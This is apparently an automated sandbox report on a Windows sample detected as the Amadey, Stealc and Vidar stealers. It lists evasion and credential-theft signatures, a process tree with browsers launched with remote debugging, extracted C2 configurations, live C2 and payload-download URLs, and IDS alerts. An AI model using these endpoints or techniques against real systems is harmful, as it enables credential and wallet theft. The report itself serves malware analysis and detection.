Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1552920
MD5:	1364833e77a5703be6d3c537778b17bd
SHA1:	ee5a0a1de17173e7c798ee508a8d9f750b32fd6b
SHA256:	94b42dc4b8a894705aa242783aa03dfbe46ff28fc89aeeb604d4df8082884109
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1848 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 1364833E77A5703BE6D3C537778B17BD)

chrome.exe (PID: 7060 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7216 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2188,i,11971315861859452185,10577114288193225455,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7880 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7896 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2224,i,1445881539410520989,17626982069189835471,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 5816 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDAEBGCAAE.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsIDAEBGCAAE.exe (PID: 1568 cmdline: "C:\Users\user\DocumentsIDAEBGCAAE.exe" MD5: 7D3770199321763F29A3FBB8FEC22486)

skotes.exe (PID: 8432 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 7D3770199321763F29A3FBB8FEC22486)

msedge.exe (PID: 1172 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7452 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2740 --field-trial-handle=2632,i,4866512348562982450,7915390176854632171,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8764 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6716 --field-trial-handle=2632,i,4866512348562982450,7915390176854632171,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8816 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6888 --field-trial-handle=2632,i,4866512348562982450,7915390176854632171,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8728 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6956 --field-trial-handle=2632,i,4866512348562982450,7915390176854632171,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 4912 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 7D3770199321763F29A3FBB8FEC22486)

skotes.exe (PID: 8756 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 7D3770199321763F29A3FBB8FEC22486)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000016.00000002.2686967034.0000000000561000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000002.3317258522.0000000000561000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2599848202.0000000000B21000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2088034499.00000000054F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000002.2689803559.0000000000FE1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.2717079854.0000000000561000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2601119957.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2601119957.0000000001723000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1848	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 1848	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1848	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1848	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
21.2.DocumentsIDAEBGCAAE.exe.fe0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.skotes.exe.560000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.560000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.560000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 1848, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7060, ProcessName: chrome.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-09T22:09:29.764427+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.5	49715	TCP
2024-11-09T22:10:09.152302+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.5	50053	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-09T22:09:16.407618+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-09T22:09:16.386571+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-09T22:09:16.679784+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-09T22:09:18.490554+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-09T22:09:16.686580+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-09T22:09:16.084474+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-09T22:11:05.145915+0100	2856147	1	A Network Trojan was detected	192.168.2.5	50127	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-09T22:09:07.507166+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	50130	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-09T22:11:12.601370+0100	2803305	3	Unknown Traffic	192.168.2.5	50131	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-09T22:09:19.469557+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-09T22:09:42.581330+0100	2803304	3	Unknown Traffic	192.168.2.5	49813	185.215.113.206	80	TCP
2024-11-09T22:09:45.871854+0100	2803304	3	Unknown Traffic	192.168.2.5	49813	185.215.113.206	80	TCP
2024-11-09T22:09:47.808219+0100	2803304	3	Unknown Traffic	192.168.2.5	49813	185.215.113.206	80	TCP
2024-11-09T22:09:48.857667+0100	2803304	3	Unknown Traffic	192.168.2.5	49813	185.215.113.206	80	TCP
2024-11-09T22:09:51.131687+0100	2803304	3	Unknown Traffic	192.168.2.5	49813	185.215.113.206	80	TCP
2024-11-09T22:09:51.703281+0100	2803304	3	Unknown Traffic	192.168.2.5	49813	185.215.113.206	80	TCP
2024-11-09T22:09:55.705202+0100	2803304	3	Unknown Traffic	192.168.2.5	49975	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe450	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dll0	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllZ	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllF	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe5151001	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/luma/random.exe=(	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.php.)	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpW=w/	Avira URL Cloud: Label: malware
Source: 185.215.113.206/c4becf79229cb002.php	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpYFb	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe5	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.phpAFz	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exeR	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.php%	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpiFR	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php9F	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe2	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllf	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllh	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe0(	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/d	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 00000016.00000002.2686967034.0000000000561000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.1848.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 28%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C7BA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B4440 PK11_PrivDecrypt,	0_2_6C7B4440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C784420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C784420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B44C0 PK11_PubEncrypt,	0_2_6C7B44C0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49763 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50102 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50115 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.244.127:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.244.127:443 -> 192.168.2.5:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.72:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.72:443 -> 192.168.2.5:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50117 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2635803123.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2635803123.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 37MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:50127 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:50130

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 09 Nov 2024 21:09:19 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 